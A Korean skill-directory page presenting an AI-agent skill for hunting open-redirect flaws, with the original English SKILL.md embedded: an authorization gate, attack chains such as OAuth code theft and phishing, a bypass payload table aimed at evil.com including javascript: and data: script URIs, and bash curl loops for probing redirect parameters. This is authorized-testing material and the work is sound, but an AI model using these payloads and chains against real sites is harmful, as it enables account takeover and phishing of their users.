본문으로 건너뛰기
Skillpedia
보안48k · #4893

hunt-open-redirect

하는 일

이 도구는 웹사이트의 '오픈 리다이렉트'를 찾습니다. 사이트가 예상치 못하게 사용자를 다른 사이트로 보내는 경우를 말하며, 도착 사이트가 악성일 수 있습니다.

사용하는 경우

  • ✓웹사이트의 보안을 테스트할 때.
  • ✓사이트가 사용자를 속이는 데 쓰일 수 있는지 확인할 때.
  • ✓사이트가 외부 링크를 어떻게 처리하는지 분석할 때.

스킬 링크

https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-open-redirect/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-open-redirect/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“example.com에서 오픈 리다이렉트를 찾아 주세요.”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

도구는 리다이렉트를 일으킬 수 있는 여러 링크 패턴을 테스트합니다. 웹사이트가 악성 주소로 향하도록 했을 때 올바르게 응답하는지 확인합니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

  1. Ask the user to state the exact target URL, IP, account, or resource.
  2. Ask the user to confirm written authorization and the permitted scope.
  3. Show the exact command(s) and explain their expected effect.
  4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

HUNT-OPEN-REDIRECT — Open Redirect

Crown Jewel Targets

Open redirect alone is Low. Chained to OAuth = Critical (ATO).

Highest-value chains:

  • Open redirect → OAuth auth code theft — redirect_uri contains open redirect on trusted domain → auth code sent to attacker → ATO
  • Open redirect → phishing — users trust the URL because it starts with target.com
  • Open redirect → SSRF escalation — if redirect followed server-side → SSRF
  • Open redirect → session fixation — force user to login endpoint with pre-set session

Attack Surface Signals

?redirect=
?next=
?url=
?return=
?returnTo=
?continue=
?dest=
?destination=
?go=
?forward=
?location=
?target=
?redir=
?redirect_uri=
?callback=
?checkout_url=
?success_url=
?cancel_url=
/logout?returnTo=
/login?next=
/sso?callback=

Bypass Table

Technique Payload
Basic https://evil.com
Protocol relative //evil.com
Backslash bypass /\\evil.com
At-sign confusion https://target.com@evil.com
Double slash //evil.com/%2F..
URL encoding %2Fevil.com
Null byte evil.com%00target.com
Whitespace evil.com%09 or %20
JavaScript URI javascript:window.location='https://evil.com'
Data URI data:text/html,<script>window.location='https://evil.com'</script>
Subdomain https://target.com.evil.com
Fragment https://evil.com#.target.com

Step-by-Step Hunting Methodology

Phase 1 — Discover Redirect Parameters

# Extract all redirect candidates from crawl
cat recon/$TARGET/urls.txt | gf redirect > recon/$TARGET/redirect-candidates.txt
wc -l recon/$TARGET/redirect-candidates.txt

# Less common param names
grep -E "(\?|&)(return|next|dest|go|forward|location|to|jump|target|out|link|logout)" \
  recon/$TARGET/urls.txt >> recon/$TARGET/redirect-candidates.txt

Phase 2 — Basic Test

COLLAB="https://evil.com"
cat recon/$TARGET/redirect-candidates.txt | qsreplace "$COLLAB" | while read url; do
  LOC=$(curl -s -I --max-redirs 0 "$url" | grep -i "^location:")
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" --max-redirs 0 "$url")
  [ -n "$LOC" ] && echo "$STATUS | $LOC | $url"
done

Phase 3 — Bypass Techniques

BASE_URL="https://$TARGET/redirect?url="
PAYLOADS=(
  "https://evil.com"
  "//evil.com"
  "/\\evil.com"
  "https://$TARGET@evil.com"
  "https://evil.com%23.$TARGET"
  "https://evil.com%09"
)
for P in "${PAYLOADS[@]}"; do
  LOC=$(curl -s -I --max-redirs 0 "${BASE_URL}${P}" | grep -i "^location:")
  echo "$P → $LOC"
done

Phase 3b — DOM-based open redirect (client-side sink)

Server-side Location: grepping misses redirects that happen purely in JS. Source (location.hash/location.search/document.referrer) assigned to a navigation sink.

grep -rEn "location *=|location\.(href|assign|replace)\(|window\.open\(" recon/$TARGET/ --include="*.js" \
  | grep -iE "location\.(hash|search)|URLSearchParams|getParameter|referrer"
# Confirm in a browser (curl can't): open  https://$TARGET/page#https://evil.com  (or ?url=...)
# Common shape:  var u=new URLSearchParams(location.search).get('url'); location=u;

(PortSwigger: DOM-based open redirection.)

Phase 4 — OAuth Chain Test

# If target has OAuth, check if redirect_uri accepts open redirect
grep -i "oauth\|authorize\|redirect_uri" recon/$TARGET/urls.txt | head -20

# Construct OAuth URL with open redirect as redirect_uri
# Normal: redirect_uri=https://target.com/callback
# Attack: redirect_uri=https://target.com/redirect?url=https://evil.com

…
자주 묻는 질문

'오픈 리다이렉트(open redirect)'란 무엇인가요?

웹사이트가 사용자를 다른 사이트로 보내는데, 그 사이트가 공격자의 통제하에 있을 수 있는 경우입니다. 정보를 훔치거나 사람을 속이는 데 쓰일 수 있습니다.

왜 위험한가요?

공격자는 신뢰할 수 있는 웹사이트가 사용자를 진짜처럼 보이는 가짜 사이트로 보내게 만들 수 있으며, 이로 인해 비밀번호나 데이터가 도난당할 수 있습니다. 내부 시스템에 부당하게 접근하는 데도 쓰일 수 있습니다.

이것을 사용하려면 허가가 필요한가요?

네, 이 도구는 명시적이고 서면으로 된 허가를 받은 시스템에서만 사용해야 합니다. 허가 없이 사용하는 것은 불법입니다.

상세 정보

작성자의 원본 설명

Hunt Open Redirect

repo: sickn33/agentic-awesome-skills

인기도

GitHub 스타
48k
순위
#4893
라이선스
MIT
업데이트
2026. 10. 15.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬